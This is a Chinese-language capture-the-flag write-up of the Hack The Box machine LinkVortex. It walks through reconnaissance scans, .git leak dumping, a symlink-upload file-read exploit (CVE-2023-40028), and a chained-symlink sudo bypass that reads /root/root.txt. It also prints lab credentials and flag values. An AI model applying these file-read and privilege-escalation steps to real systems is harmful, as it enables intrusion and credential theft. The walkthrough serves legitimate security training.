当前位置: 首页 > news >正文

HTB:LinkVortex[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用gobuster对靶机进行路径FUZZ

使用ffuf堆靶机进行子域名FUZZ

边界突破

访问靶机/robots.txt文件

使用wappalyzer查看该页面技术栈

检索该CMS的CVE漏洞

使用gobuster对靶机dev子域名进行路径FUZZ

使用githack讲泄露文件转储至本地

检索该文件内容

尝试构造账户登录WebAPP

在Github中随便找一个PoC

执行该脚本尝试读取靶机内部文件

使用ssh通过上述凭证登录靶机

权限提升

查看可sudo执行的文件

查看/opt/ghost/clean_symlink.sh文件内容


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.47

靶机Domain:linkvortex.htb


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a linkvortex.htb -r 1-65535 --ulimit 5000 | tee res

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p22,80 -sCV -Pn linkvortex.htb

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p22,80 --script=vuln -O -Pn linkvortex.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn linkvortex.htb

使用gobuster对靶机进行路径FUZZ

gobuster dir -u http://linkvortex.htb -w ../dictionary/Entire-Dir.txt -t 100 -x txt,php,asp,aspx,jsp --exclude-length 0

使用ffuf堆靶机进行子域名FUZZ

ffuf -u 'http://linkvortex.htb' -H 'Host: FUZZ.linkvortex.htb' -w ../dictionary/subdomains-top20000.txt  -t 50 -fw 14


边界突破

访问靶机/robots.txt文件

  • 可见/ghost路径不允许爬取,尝试访问该路径

使用wappalyzer查看该页面技术栈

  • 由展示可见,该页面使用WebAPP为:Ghost CMS 5.58

检索该CMS的CVE漏洞

  • 原介绍

Ghost is an open source content management system. Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's `content/` folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability.

  • 机翻后

Ghost是一个开源的内容管理系统。5.59.1之前的版本存在一个漏洞,允许经过身份验证的用户上传符号链接文件。攻击者可利用此漏洞读取主机操作系统上的任意文件。网站管理员可以通过检查 Ghost 的 `content/` 文件夹中是否存在未知的符号链接来检测是否遭受此漏洞的攻击。5.59.1版本已修复此问题。建议所有用户进行升级。目前尚无已知的临时解决方案来应对此漏洞。

  • 因此,CVE-2023-40028漏洞适用于获取WebAPP凭证后读取靶机内部文件

使用gobuster对靶机dev子域名进行路径FUZZ

  • 由输出可见,该子域名存在git泄露
使用githack讲泄露文件转储至本地
python githack.py http://dev.linkvortex.htb/.git/
  • /dev.linkvortex.htb路径下找到Dockerfile.ghost文件
cat Dockerfile.ghost
  • 由输出可见,config配置文件被拷贝到/var/lib/ghost/config.production.json

  • /dev.linkvortex.htb/ghost/core/test/regression/api/admin路径下找到authentication.test.js文件
检索该文件内容
grep -C1 -i password authentication.test.js

  • 可见测试账号疑似默认密码:OctopiFociPilfer45

尝试构造账户登录WebAPP

账户:admin@linkvortex.htb

密码:OctopiFociPilfer45

  • 成功登入后台,验证了该凭证可用

在Github中随便找一个PoC

git clone https://github.com/0xyassine/CVE-2023-40028.git

  • 该脚本需要对GHOST_URL参数进行修改

执行该脚本尝试读取靶机内部文件
./CVE-2023-40028.sh -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45'

  • 尝试读取/var/lib/ghost/config.production.json文件
file> /var/lib/ghost/config.production.json
{"url": "http://localhost:2368","server": {"port": 2368,"host": "::"},"mail": {"transport": "Direct"},"logging": {"transports": ["stdout"]},"process": "systemd","paths": {"contentPath": "/var/lib/ghost/content"},"spam": {"user_login": {"minWait": 1,"maxWait": 604800000,"freeRetries": 5000}},"mail": {"transport": "SMTP","options": {"service": "Google","host": "linkvortex.htb","port": 587,"auth": {"user": "bob@linkvortex.htb","pass": "fibber-talented-worth"}}}
}
  • 由该配置文件可得一凭证 

账户:bob@linkvortex.htb

密码:fibber-talented-worth

使用ssh通过上述凭证登录靶机

ssh bob@linkvortex.htb

  • /home/bob目录下找到user.txt文件

bob@linkvortex:~$ ls
1.png  111.txt  user.txt  whatever
bob@linkvortex:~$ pwd
/home/bob
bob@linkvortex:~$ cat user.txt
e1e7c05b37455f93a36670923855ab32


权限提升

查看可sudo执行的文件

sudo -l

查看/opt/ghost/clean_symlink.sh文件内容
cat /opt/ghost/clean_symlink.sh
#!/bin/bashQUAR_DIR="/var/quarantined"if [ -z $CHECK_CONTENT ];thenCHECK_CONTENT=false
fiLINK=$1if ! [[ "$LINK" =~ \.png$ ]]; then/usr/bin/echo "! First argument must be a png file !"exit 2
fiif /usr/bin/sudo /usr/bin/test -L $LINK;thenLINK_NAME=$(/usr/bin/basename $LINK)LINK_TARGET=$(/usr/bin/readlink $LINK)if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"/usr/bin/unlink $LINKelse/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"/usr/bin/mv $LINK $QUAR_DIR/if $CHECK_CONTENT;then/usr/bin/echo "Content:"/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/nullfifi
fi
  • 用大模型直接一键加上注释

  1. 该脚本将检查环境变量CHECK_CONTENT是否为空,如为空为其赋值false
  2. 该脚本仅能接收.png结尾的文件
  3. 该脚本将检查该参数是否为软链接
  4. 该脚本将检查软链接内容是否存在`etc`、`root`关键字如有将把该软链接文件隔离
  5. 该脚本将检查CHECK_CONTENT的值是否为true,如为真则输出文件内容

因此我的绕过思路是:

1.构造一个.png软链接连接至一个不带`etc`、`root`关键字的软链接

2.再将该软链接再次连接至/root/root.txt文件

3.将环境变量CHECK_CONTENT改为true,绕过第一次判断并在最后使脚本输出文件内容

  • 首先创建一个软链接连接至/root/root.txt文件
ln -s /root/root.txt final_read
  • 再创建一个以.png结尾的软链接连接至上一个软链接
ln -s final_read start_point.png
  • 这里注意所有软链接以及文件必须用绝对路径

bob@linkvortex:~$ ln -s /root/root.txt /home/bob/final_read
bob@linkvortex:~$ ln -s /home/bob/final_read /home/bob/start_point.png
bob@linkvortex:~$ ls
final_read  start_point.png  user.txt
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh start_point.png
Link found [ start_point.png ] , moving it to quarantine
Content:
62bce49de7c405a3273a8f67bdca50d6

相关文章:

HTB:LinkVortex[WriteUP]

目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用gobuster对靶机进行路径FUZZ 使用ffuf堆靶机…...

Linux命令入门

Linux命令入门 ls命令 ls命令的作用是列出目录下的内容,语法细节如下: 1s[-a -l -h] [Linux路径] -a -l -h是可选的选项 Linux路径是此命令可选的参数 当不使用选项和参数,直接使用ls命令本体,表示:以平铺形式,列出当前工作目录下的内容 ls命令的选项 -a -a选项&a…...

【问题】Chrome安装不受支持的扩展 解决方案

此扩展程序已停用,因为它已不再受支持 Chromium 建议您移除它。详细了解受支持的扩展程序 此扩展程序已停用,因为它已不再受支持 详情移除 解决 1. 解压扩展 2.打开manifest.json 3.修改版本 将 manifest_version 改为3及以上 {"manifest_ver…...

【题解】AtCoder Beginner Contest ABC391 D Gravity

题目大意 原题面链接 在一个 1 0 9 W 10^9\times W 109W 的平面里有 N N N 个方块。我们用 ( x , y ) (x,y) (x,y) 表示第 x x x 列从下往上数的 y y y 个位置。第 i i i 个方块的位置是 ( x i , y i ) (x_i,y_i) (xi​,yi​)。现在执行无数次操作,每一次…...

使用 SpringBoot+Thymeleaf 模板引擎进行 Web 开发

目录 一、什么是 Thymeleaf 模板引擎 二、Thymeleaf 模板引擎的 Maven 坐标 三、配置 Thymeleaf 四、访问页面 五、访问静态资源 六、Thymeleaf 使用示例 七、Thymeleaf 常用属性 前言 在现代 Web 开发中,模板引擎被广泛用于将动态内容渲染到静态页面中。Thy…...

【Java异步编程】CompletableFuture综合实战:泡茶喝水与复杂的异步调用

文章目录 一. 两个异步任务的合并:泡茶喝水二. 复杂的异步调用:结果依赖,以及异步执行调用等 一. 两个异步任务的合并:泡茶喝水 下面的代码中我们实现泡茶喝水。这里分3个任务:任务1负责洗水壶、烧开水,任…...

Nginx知识

nginx 精简的配置文件 worker_processes 1; # 可以理解为一个内核一个worker # 开多了可能性能不好events {worker_connections 1024; } # 一个 worker 可以创建的连接数 # 1024 代表默认一般不用改http {include mime.types;# 代表引入的配置文件# mime.types 在 ngi…...

Unity开发游戏使用XLua的基础

Unity使用Xlua的常用编码方式,做一下记录 1、C#调用lua 1、Lua解析器 private LuaEnv env new LuaEnv();//保持它的唯一性void Start(){env.DoString("print(你好lua)");//env.DoString("require(Main)"); 默认在resources文件夹下面//帮助…...

AI-ISP论文Learning to See in the Dark解读

论文地址:Learning to See in the Dark 图1. 利用卷积网络进行极微光成像。黑暗的室内环境。相机处的照度小于0.1勒克斯。索尼α7S II传感器曝光时间为1/30秒。(a) 相机在ISO 8000下拍摄的图像。(b) 相机在ISO 409600下拍摄的图像。该图像存在噪点和色彩偏差。©…...

OpenCV:开运算

目录 1. 简述 2. 用腐蚀和膨胀实现开运算 2.1 代码示例 2.2 运行结果 3. 开运算接口 3.1 参数详解 3.2 代码示例 3.3 运行结果 4. 开运算应用场景 5. 注意事项 6. 总结 相关阅读 OpenCV:图像的腐蚀与膨胀-CSDN博客 OpenCV:闭运算-CSDN博客 …...

38. RTC实验

一、RTC原理详解 1、6U内部自带到了一个RTC外设,确切的说是SRTC。6U和6ULL的RTC内容在SNVS章节。6U的RTC分为LP和HP。LP叫做SRTC,HP是RTC,但是HP的RTC掉电以后数据就丢失了,即使用了纽扣电池也没用。所以必须要使用LP&#xff0c…...

Flutter 新春第一弹,Dart 宏功能推进暂停,后续专注定制数据处理支持

在去年春节,Flutter 官方发布了宏(Macros)编程的原型支持, 同年的 5 月份在 Google I/O 发布的 Dart 3.4 宣布了宏的实验性支持,但是对于 Dart 内部来说,从启动宏编程实验开始已经过去了几年,但…...

巴菲特价值投资思想的核心原则

巴菲特价值投资思想的核心原则 关键词:安全边际、长期投资、内在价值、管理团队、经济护城河、简单透明 摘要:本文深入探讨了巴菲特价值投资思想的核心原则,包括安全边际、长期投资、企业内在价值、优秀管理团队、经济护城河和简单透明的业务…...

C 或 C++ 中用于表示常量的后缀:1ULL

1ULL 是一个在 C 或 C 中用于表示常量的后缀,它具体指示编译器将这个数值视为特定类型的整数。让我们详细解释一下: 1ULL 的含义 1: 这是最基本的部分,表示数值 1。U: 表示该数值是无符号(Unsigned)的。这意味着它只…...

vue3中el-input无法获得焦点的问题

文章目录 现象两次nextTick()加setTimeout()解决结论 现象 el-input被外层div包裹了&#xff0c;设置autofocus不起作用&#xff1a; <el-dialog v-model"visible" :title"title" :append-to-bodytrue width"50%"><el-form v-model&q…...

程序诗篇里的灵动笔触:指针绘就数据的梦幻蓝图<3>

大家好啊&#xff0c;我是小象٩(๑ω๑)۶ 我的博客&#xff1a;Xiao Xiangζั͡ޓއއ 很高兴见到大家&#xff0c;希望能够和大家一起交流学习&#xff0c;共同进步。 今天我们来对上一节做一些小补充&#xff0c;了解学习一下assert断言&#xff0c;指针的使用和传址调用…...

(三)QT——信号与槽机制——计数器程序

目录 前言 信号&#xff08;Signal&#xff09;与槽&#xff08;Slot&#xff09;的定义 一、系统自带的信号和槽 二、自定义信号和槽 三、信号和槽的扩展 四、Lambda 表达式 总结 前言 信号与槽机制是 Qt 中的一种重要的通信机制&#xff0c;用于不同对象之间的事件响…...

Qt 5.14.2 学习记录 —— 이십이 QSS

文章目录 1、概念2、基本语法3、给控件应用QSS设置4、选择器1、子控件选择器2、伪类选择器 5、样式属性box model 6、实例7、登录界面 1、概念 参考了CSS&#xff0c;都是对界面的样式进行设置&#xff0c;不过功能不如CSS强大。 可通过QSS设置样式&#xff0c;也可通过C代码…...

Hot100之哈希

1两数之和 题目 思路解析 解法1--两次循环 解法2--哈希表一次循环 代码 解法1--两次循环 class Solution {public int[] twoSum(int[] nums, int target) {int nums1[] new int[2];int length nums.length;for (int i 0; i < length; i) {for (int j i 1; j < …...

油漆面积——蓝桥杯

1.题目描述 X 星球的一批考古机器人正在一片废墟上考古。 该区域的地面坚硬如石、平整如镜。 管理人员为方便&#xff0c;建立了标准的直角坐标系。 每个机器人都各有特长、身怀绝技。它们感兴趣的内容也不相同。 经过各种测量&#xff0c;每个机器人都会报告一个或多个矩…...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…...

ES6从入门到精通:前言

ES6简介 ES6&#xff08;ECMAScript 2015&#xff09;是JavaScript语言的重大更新&#xff0c;引入了许多新特性&#xff0c;包括语法糖、新数据类型、模块化支持等&#xff0c;显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var&#xf…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制

在数字化浪潮席卷全球的今天&#xff0c;数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具&#xff0c;在大规模数据获取中发挥着关键作用。然而&#xff0c;传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时&#xff0c;常出现数据质…...

浪潮交换机配置track检测实现高速公路收费网络主备切换NQA

浪潮交换机track配置 项目背景高速网络拓扑网络情况分析通信线路收费网络路由 收费汇聚交换机相应配置收费汇聚track配置 项目背景 在实施省内一条高速公路时遇到的需求&#xff0c;本次涉及的主要是收费汇聚交换机的配置&#xff0c;浪潮网络设备在高速项目很少&#xff0c;通…...

LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》

这段 Python 代码是一个完整的 知识库数据库操作模块&#xff0c;用于对本地知识库系统中的知识库进行增删改查&#xff08;CRUD&#xff09;操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 &#x1f4d8; 一、整体功能概述 该模块…...

STM32HAL库USART源代码解析及应用

STM32HAL库USART源代码解析 前言STM32CubeIDE配置串口USART和UART的选择使用模式参数设置GPIO配置DMA配置中断配置硬件流控制使能生成代码解析和使用方法串口初始化__UART_HandleTypeDef结构体浅析HAL库代码实际使用方法使用轮询方式发送使用轮询方式接收使用中断方式发送使用中…...

面试高频问题

文章目录 &#x1f680; 消息队列核心技术揭秘&#xff1a;从入门到秒杀面试官1️⃣ Kafka为何能"吞云吐雾"&#xff1f;性能背后的秘密1.1 顺序写入与零拷贝&#xff1a;性能的双引擎1.2 分区并行&#xff1a;数据的"八车道高速公路"1.3 页缓存与批量处理…...

相关类相关的可视化图像总结

目录 一、散点图 二、气泡图 三、相关图 四、热力图 五、二维密度图 六、多模态二维密度图 七、雷达图 八、桑基图 九、总结 一、散点图 特点 通过点的位置展示两个连续变量之间的关系&#xff0c;可直观判断线性相关、非线性相关或无相关关系&#xff0c;点的分布密…...